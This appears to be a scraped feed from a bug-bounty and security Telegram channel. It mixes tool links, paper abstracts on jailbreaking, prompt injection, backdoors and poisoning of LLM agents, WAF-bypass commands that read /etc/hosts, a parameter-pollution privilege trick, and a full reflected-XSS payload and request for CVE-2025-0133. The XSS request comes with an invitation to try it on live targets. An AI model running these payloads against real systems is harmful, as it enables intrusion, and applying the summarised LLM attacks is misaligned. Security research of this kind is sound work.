2777
🛡️ Cybersecurity enthusiast | 💻 Helping secure the digital world | 🌐 Web App Tester | 🕵️♂️ OSINT Specialist Admin: @laazy_hack3r
#AIOps
#MLSecOps
"Security Attacks on LLM-based Code Completion Tools", v.4, AAAI 2025.
]-> example code and attack samples
// LLM-based Code Completion Tools (LCCTs) often rely on proprietary code datasets for training, raising concerns about the potential exposure of sensitive data. We exploit these distinct characteristics of LCCTs to develop targeted attack methodologies on two critical security risks: jailbreaking and training data extraction attacks
BB Target- https://www.nooks.ai/responsible-disclosure-process
🔥Fresh BB Target - https://www.computerwaard.nl/.well-known/security.txt
Читать полностью…
DomLoggerpp by @kevin_mizu is a simple web extension that helps you identify JavaScript DOM sinks that could lead to DOM-based vulnerabilities (such as XSS)! 😎
Check it out! 👇
🔗 https://github.com/kevin-mizu/domloggerpp
Notes from "How to Crush Bug Bounties in the first 12 Months" by @hakluke
Читать полностью…
https://x.com/Cipher0ps_tech/status/1954777074457251865
Читать полностью…
#Research
"Llama-3.1-FoundationAI-SecurityLLM-8B-Instruct (FS8BI)
Technical Report", 2025.
]-> https://huggingface.co/fdtn-ai/Foundation-Sec-8B-Instruct
// FS8BI - open-weight, 8-billion parameter instruction-tuned LLM specialized for cybersecurity applications. It leverages prior training to understand security concepts, terminology, and practices across multiple security domains. FS8BI enables organizations to build AI-driven security tools that can be deployed locally, reducing dependency on cloud-based AI services
⚡Bypass Series for bug hunters😎
Part-2
Crazy WAF Bypass:
cat /etc/hosts - triggers WAF
xxd -p /etc/hosts | xxd -p -r
xargs -d '\n' -I{} echo {} < /etc/hosts
perl -pe '' /etc/hosts
sed '' /etc/hosts
awk '{print}' /etc/hosts
dd if=/etc/hosts 2>/dev/null
#Bugbountytips #infosec
Guys check this out, My obsidian notes is now online let me know how it is and happy to listen to your feedback
https://obsius.site/1o2o0n6w0j0q4u48454m
⚡️SSRFUtility - SSRF Exploitation Tool
🔗 https://ssrf.cvssadvisor.com/
#Analytics
#MLSecOps
#Threat_Research
"AI Threat Landscape Report", 2025.
See also:
]-> 2025 GenAI Code Security Report (.pdf)
]-> LLM and Gen AI Data Security Best Practices
#tools
#MLSecOps
#Offensive_security
Security Solutions for AI Systems
1⃣ Confidential Computing
1.1 Sentient Enclaves Framework
1.2 SyMPC - SMPC companion library for Syft
1.3 Confidential Computing API
2⃣ Encryption and Data Protection
2.1 IronCoreLabs Transform encryption lib for Scala
2.2 Diffprivlib - IBM Differential Privacy Library
2.3 TenSEAL - Library for doing homomorphic encryption operations on tensors
2.4 PyDP - Python Differential Privacy Library
3⃣ Governance
3.1 VerifyWise - Open source AI governance platform
3.2 Cartai - OSS AI supervisor Agent
4⃣ Model Testing
4.1 Plexiglass - tool to detect/protect LLM vulns
4.2 Giskard-AI - Evaluation/testing for LLM systems
4.3 ModelScan - ML Model Security Scanner
4.4 LlamaFirewall, PurpleLlama - Tools to LLM security
4.5 Garak - LLM vulnerability scanner
4.6 Package for LLM jailbreak evaluation
5⃣ Prompt Firewall and Redaction
5.1 Guardrails AI - Adding guardrails to LLMs
5.2 Private AI - Detect, anonymize, and replace PII
5.3 Lakera Guard - ChatGPT Data Leak Protection
5.4 Rebuff - LLM Prompt Injection Detector
5.5 Trylon Gateway - Open Source Firewall for LLMs
5.6 LLM Guard, Vigil - Security scanner for LLM prompts
5.7 MCP-Scan - Security scanner tool for MCP servers
5.8 Vibranium Dome - LLM WAF for Agents
6⃣ AI Quality Controls and Testing
6.1 GenAI Prompt Fuzzer
6.2 FuzzyAI, LLMFuzzer Frameworks
6.3 Test Generation for Prompts
6.4 Promptfoo: LLM Evals & Red Teaming
7⃣ Training Data Protection
7.1 Trusted-AI - Adversarial Robustness Toolbox
7.2 datasig - Dataset fingerprinting for AIBOM
8⃣ AI for Offensive Cyber
8.1 Vulnhuntr - AI-Discovered 0-day Tool
8.2 Confident AI - LLM Red Teaming Framework
8.3 Agentic LLM Vulnerability Scanner / AI RedTeam Kit
8.4 llm-attacks - Attacks on Aligned LLMs
8.5 HackGPT - Tool using ChatGPT for hacking
8.6 AI/ML Exploits, CAI CTF Framework
#Research
#MLSecOps
"From Prompt Injections to Protocol Exploits:
Threats in LLM-Powered AI Agents Workflows", 2025.
// In this Research, we introduce the first unified, end-to-end threat model for LLM-agent ecosystems, spanning host-to-tool and agent-to-agent communications, formalize adversary capabilities and attacker objectives, and catalog over thirty attack techniques. We organized the threat model into four domains: Input Manipulation (prompt injections, long-context hijacks, multimodal adversarial inputs), Model Compromise (prompt- and parameter-level backdoors, composite and encrypted multi-backdoors, poisoning strategies), System and Privacy Attacks (speculative side-channels, membership inference, retrieval poisoning, social-engineering simulations), and Protocol Vulnerabilities (exploits in Model Context Protocol, Agent Communication Protocol, Agent Network Protocol, Agent-to-Agent protocol)
https://www.notion.so/AD-aboud-1dcabf92dc0f805fb5e6fbb1917ff1f7?source=copy_link
Читать полностью…
✨List of Awesome Red Team / Red Teaming Resources. This list is for anyone wishing to learn about Red Teaming but do not have a starting point.
https://github.com/0xMrNiko/Awesome-Red-Teaming
Asset inventory of over 800 public bug bounty programs.
https://github.com/trickest/inventory
🚨CVE-2025-0133 : Payload + Template
Payload: %3Csvg%20xmlns%3D%22http%3A%2F%http://2Fwww.w3.org%2F2000%2Fsvg%22%3E%3Cscript%3Eprompt%28%22XSS%22%29%3C%2Fscript%3E%3C%2Fsvg%3E
Write-up: https://codewithvamp.medium.com/cve-2025-0133-reflected-xss-vulnerability-in-palo-alto-globalprotect-gateway-portal-028128f2f5b9
Template: https://github.com/projectdiscovery/nuclei-templates/blob/main/http/cves/2025/CVE-2025-0133.yaml
#Research
#MLSecOps
"Generative AI in cybersecurity:
A Comprehensive Review of LLM Applications and Vulnerabilities", 2025.
// This paper provides a comprehensive review of the future of cybersecurity through GenAI and LLMs. We explore LLM applications across various domains, including hardware design security, intrusion detection, software engineering, design verification, cyber threat intelligence, malware and phishing detection. We present an overview of LLM evolution and its current state. Our analysis extends to LLM vulnerabilities, such as prompt injection, insecure output handling, data poisoning, DDoS, and adversarial instructions
🚨 CVE-2025-53652: Jenkins Git Parameter Plugin Unvalidated Input Vulnerability
🔥PoC :https://github.com/pl4tyz/CVE-2025-53652-Jenkins-Git-Parameter-Analysis
👇Dorks
HUNTER : http://product.name="Jenkins"
📰Refer:https://jenkins.io/security/advisory/2025-07-09/#SECURITY-3419
https://github.com/advisories/GHSA-qcj2-99cg-mppf
Hello, guys i am planning for a team to attend https://16.standoff365.com/en/#how_to_join
it has a 10 members per team if you guys are intrested and happy to try this CTF let me know.
#Cloud_Security
Black Hat USA 2025:
"Expanding Privileges in the Cloud:
Exploring Security Boundaries in Amazon ECS".
]-> PoC for CVE-Requested vulnerability in Amazon ECS allowing cross-task IAM credential theft
Windows lateral movement quick reference
#ThreatHunting #DFIR
People are happy just because OpenAI released there New and Most intelligent Chat Model GPT-5
But as a cybersecurity experts do u think this is a future or a threat?
I have posted a thread on this please do check this out.
https://x.com/Cipher0ps_tech/status/1953701559545868545
#Research
#MLSecOps
"Security study based on the ChatGPT plugin system: Identifying Security Vulnerabilities", 2024.
// The aim of this paper is to explore the security ofplugins in the CHATGPT plugin store, reveal the main security vulnerabilities thatexist, and suggest improvements
⭐️PACU - The AWS exploitation framework, designed for testing the security of Amazon Web Services environments.
✅https://github.com/RhinoSecurityLabs/pacu
Hey everyone,
I just open-sourced a project I've been working on called PITT.
It's a CLI tool to help developers and security folks test their LLM applications against the OWASP LLM Top 10.
It uses a configurable "Judge LLM" to make the vulnerability detection much more accurate than simple keyword matching.
Would love for you to check it out and hear what you think!
GitHub Link: https://github.com/Addy-shetty/Pitt.git
Bug Bounty Tip: HTTP Parameter Pollution (HPP)
Some apps mishandle duplicate parameters. You can bypass logic or elevate privileges by injecting multiple values:
GET /transfer?amount=100&admin=true&amount=1
⚠️ Always test:
•param=value1¶m=value2
•Encoded (%26,)
#exploit
1⃣ CVE-2025-4660:
Windows Forescout SecureConnector RCE
2⃣ CVE-2025-48384:
Breaking git with a carriage return and cloning RCE
3⃣ CVE-2025-32023:
RCE in Redis >= 2.8
4⃣ CVE-2023-4272:
Cache Coherence Vulnerability in the Mali GPU Driver
5⃣ The Journey of Bypassing Ubuntu’s Unprivileged Namespace Restriction
6⃣ CVE-2025-6759:
LPE in Citrix Virtual Apps and Desktops
]-> Tool to test/mitigation
7⃣ CVE-2024-7401:
Improper Authentication in Netskope Client
8⃣ RCE Vulnerability in ETQ Reliance
// Disclaimer
The recently disclosed XSS vulnerability in GlobalProtect (CVE-2025-0133) has affected hundreds of thousands of organizations worldwide — including thousands of bug bounty programs.
Try your luck by running this PoC /ssl-vpn/getconfig.esp?client-type=1&protocol-version=p1&app-version=3.0.1-10&clientos=Linux&os-version=linux-64&hmac-algo=sha1%2Cmd5&enc-algo=aes-128-cbc%2Caes-256-cbc&authcookie=12cea70227d3aafbf25082fac1b6f51d&portal=us-vpn-gw-N&user=<svg xmlns%3D"http%3A%2F%http://2Fwww.w3.org%2F2000%2Fsvg"><script>prompt("XSS")<%2Fscript><%2Fsvg>&domain=(empty_domain)&computer=computer